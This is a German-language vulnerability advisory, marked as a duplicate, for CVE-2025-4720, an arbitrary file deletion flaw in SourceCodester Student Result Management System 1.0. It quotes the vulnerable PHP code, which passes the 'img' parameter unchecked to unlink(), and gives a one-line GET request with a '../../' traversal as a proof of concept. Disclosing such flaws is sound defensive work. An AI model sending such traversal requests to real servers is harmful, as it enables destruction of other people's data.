cve-srms-drop-student-path-traversal (CVE-2025-4720)(dupe)

Beliebige Dateilöschung in SourceCodester SRMS 1.0

Beschreibung

Im Endpunkt drop_student.php von SourceCodester Student Result Management System (SRMS) 1.0 existiert eine Path-Traversal-Schwachstelle.

Die Anwendung übernimmt benutzergesteuerte Eingaben aus dem GET-Parameter img und übergibt diese ohne Validierung direkt an die Funktion unlink(). Dadurch kann ein Angreifer beliebige Dateien auf dem Server löschen.

Verwundbarer Code

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

Schwachstellenart

• CWE-22: Path Traversal
• Auswirkung: Beliebige Dateilöschung

Proof of Concept (PoC)

1. Erstellen Sie eine Datei im Stammverzeichnis der Anwendung:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. Senden Sie die folgende Anfrage:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. Beobachten Sie, dass die Datei vom Server gelöscht wird.

Auswirkung

Ein Angreifer kann beliebige Dateien löschen, auf die der Webserver Zugriff hat, darunter:

• Anwendungskonfigurationsdateien
• Protokolldateien
• Hochgeladene Inhalte

Dies kann zu Denial-of-Service oder weiteren Angriffen führen.

Zusätzliche Hinweise

Diese Schwachstelle stellt einen eigenständigen Angriffsvektor im Vergleich zu zuvor gemeldeten Problemen in SRMS dar, da sie:

• eine GET-Anfrage verwendet
• keinen Dateiupload erfordert
• potenziell über CSRF ausgenutzt werden kann

Anbieter

SourceCodester

Produkt

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho

Version

1.0

Autor

Imad Alvi